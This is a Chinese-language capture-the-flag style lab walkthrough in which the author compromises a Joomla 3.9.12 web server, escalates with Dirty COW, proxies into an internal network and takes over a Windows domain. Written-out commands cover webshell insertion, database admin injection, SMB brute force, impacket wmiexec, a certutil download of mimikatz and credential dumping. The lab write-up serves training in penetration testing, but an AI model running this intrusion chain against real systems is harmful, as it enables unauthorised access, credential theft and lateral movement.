环境搭建
直接把靶机下载下来后,配置环境如下,直接Centsos配置多一张网卡NAT模式就行。
//只有这两台主机IP和图片不同,其它都是一样的,因为图片是拿别人的
kali:192.168.145.171
Centos:192.168.145.130 ,192.168.93.100
信息收集
端口扫描,有22、80、3306端口。
nmap -sT -T4 -sV -O -sC -p1-65535 192.168.145.130
扫一下网站目录,看看有无信息泄露啥的,还是有挺多东西的。
dirsearch -u http://192.168.145.130/
查一下网站信息。
用joomla扫描工具扫一下,获取版本为Joomla3.9.12。
joomscan -u http://192.168.145.130/
Centos
Getshell
前期的信息收集基本已经完成,现在来拿shell。在目录扫描中我们发现有类似网站后台的URL,直接访问一下看看。后台登录一开始的思路是测sql注入和弱口令,结果是失败的,这里就不演示了。
访问一下前台,同理测了sql注入和弱口令,依旧不行。
现在把扫出来的目录都看一下,发现有泄露数据库信息。
http://192.168.145.130/configuration.php~
得到账号为testuser,密码为cvcvgjASD!@,直接去连接数据库。
数据库里面发现两个用户表,分别是am2zu users和umnbt users。
里面的密码是经过了加密的,john爆破不出来。既然如此,那我们直接添加一个管理账号不就行了么。顺便说一下,没有读写权限,所以sql getshell不行的。去网上查了一下joomlaA数据库的加密方式,他是由密码和一串32位随机字符串结合再进行MD5加密而来的,比如密码为123456,那么加密方式如下:
6fa7069f6c2b4a7abc376669113acab8 == md5('123456cW2r7QqdGQrp2Rw9sbxCxN85nSek6tlV')
添加到数据库的格式如下:
6fa7069f6c2b4a7abc376669113acab8:cW2r7QqdGQrp2Rw9sbxCxN85nSek6tlV
既然如此我们直接py加密一下就ok了。
import hashlib
data ="123456cW2r7QqdGQrp2Rw9sbxCxN85nSek6tlV"
p = hashlib.md5(data.encode('utf-8'))
p = p.hexdigest()
print(p)
然后添加到am2zu users表中,再查看一下am2zu usergroups这个表,里面记载了各类型用户的ID,例如ID为8的是超级用户。
再到am2zu user usergroup map这个表添加我们刚刚的用户ID,并且把group_id设置为8。
我们就可以以超级用户的身份登录后台了。
搜了一下Joomla3.9.12的漏洞,点击Extensions->templates->templates,选择Beez3样式,可以看到有个error.php文件,我们直接在里面写入一句话木马,然后保存。
蚁剑连接http://localhost/templates/beez3/error.php。
脏牛提权
蚁剑无法执行命令,估计是限制了吧。
此时就没啥思路了,看看别人的wp,tmp目录下有test.txt这个玩意。
有账号密码,拿去ssh连接一下看看。
成功连接且可以执行命令。
查看一下Linux内核版本,Linux内核 >= 2.6.22,可以用脏牛漏洞提权。
uname -r
下载地址:GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195
把dirty.c搞进Centos,然后执行命令编译。
gcc -pthread dirty.c -o dirty -lcrypt
再删除这个文件。
rm /tmp/passwd.bak
运行dirty,后面是你设置的密码。
./dirty 123456
然后会显示成功添加一个firefart的root权限账号。
切换此账号即可获取root权限了。
代理配置
在Centos中我们得知还有93这个内网网段,直接写个脚本探测一下内网主机,可以探测存在10,20,30,120内网主机。
ubantu在内网中,我们得先挂上代理,最简单的就是让centos上线CS,再开启socks代理。但是我试了试不行,不是上线不了CS,而是开启了代理没用,依旧访问不了ubantu主机。这里就用frp搭建代理吧,具体也就不多说了,都是之前讲过的。
//服务端配置
[common]
bind_port = 7000
//客户端配置如下
[common]
server_addr = 192.168.145.171
server_port = 7000
[test]
type = tcp
local_ip = 192.168.145.130
local_port = 1111
remote_port = 2222
plugin = socks5
把客户端和配置文件搞到centos中,直接运行。
./frpc
服务端运行。
./frps -c frps.ini
配置好Proxifier直接浏览器访问。
内网渗透
信息收集
在kali配置好proxychains,探测一下内网主机信息进行收集,探测10主机,不难判断出是windows主机。
proxychains nmap -sT -T4 -sV -O -sC -p22,80,135,445,443 192.168.93.10
同样20主机也是Windows主机。
30主机依旧是Windows主机。
120主机是Linux主机,从它开放22端口的ssh协议可以判断出。
Getshell
因为3台Windows主机可能存在域,所以我们先拿下ubantu,访问ubantu网站发现和centos一样的。
扫一下目录,也是和centos一样的,都存在后台和configuration.php~目录导致信息泄露。所以这台主机的getshell我就不说了,参照centos吧。
proxychains dirsearch -u http://192.168.93.120/
域渗透
上面我们探测到windows的主机都开放了135,445端口,那么我们利用MSF探测是否存在MS17_010漏洞,先让centos上线MSF。
添加路由,我这里已经存在了。
run autoroute -p
查看路由。
route
使用MS17_010探测模块扫一下,发现没用这个漏洞,估计是打了补丁。
再用MSF的SMB协议扫描模块,探测哪些主机开启了smb服务。
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.10-30
run
三台主机都开了这个服务。
其实到这里我就没思路,看了大佬的文章说是用SMB爆破,可以爆破出密码为123qwe!ASD。但是我没有那么猛的字典,所以只能手动加进去了。别人的文章还有一种是NTLM Relay攻击,但是要到对方的主机上去操作,我觉得不太现实就不搞了,这里爆破出20和30主机的账号密码。
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set USER_FILE /home/wlw666/userList.txt
set PASS_FILE /home/wlw666/passwd.txt
run
有了密码那直接用我们之前的说过的impacket套件去连接就行了,需要注意我们这里的账号密码是20主机和30主机本地用户的而不是域用户的。
python wmiexec.py ./administrator:123qwe!ASD@192.168.93.20 "dir"
//用atexec.py也行,都是一样的
既然能执行命令了,那我们直接输入命令让它下载mimikatz.exe然后读取本地登录过的账号密码。这里20主机和30主机都属不出网的,需要我们把mimikatz搞到centos上面才行,直接在蚁剑上面上传到网站目录就行。
python wmiexec.py administrator:123qwe!ASD@192.168.93.20 "certutil.exe -urlcache -split -f http://192.168.93.100:80/templates/beez3/mimikatz.exe mimikatz.exe"
运行mimikatz读取密码,因为这里我们只是获得了半交互式的shell,所以我们把读取的结果放在log文件里面方便查看。
python wmiexec.py administrator:123qwe!ASD@192.168.93.20 "mimikatz.exe log privilege::debug sekurlsa::logonpasswords"
查看读取到的账号密码,可以看到读取了域用户的账号和密码。
python wmiexec.py ./administrator:123qwe!ASD@192.168.93.20 "type mimikatz.log"
在实际中为了便于记忆,有一部分的域控密码和域用户密码都是一样的,如果不一样那么我也不知道咋办了,因为从Linux横移到Windows刚好还没学,我们直接拿这个密码去连接域控。
python wmiexec.py TEST/administrator:zxcASDqw123!!@192.168.93.10 "ipconfig"
直接反弹一个cmd回来。
python wmiexec.py TEST/administrator:zxcASDqw123!!@192.168.93.10
找到flag。
总结
这个靶场比前面两个要难一点点,主要是思路问题,比如前面的蚁剑发现的mysql文件,你要想得去尝试ssh连接,还有smb爆破取决于你的字典大小。其实在渗透过程中,我有尝试让主机上线CS方便横移,但是均失败了,可能是因为跳板机是Linux,上线的Windows主机都是个黑框。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。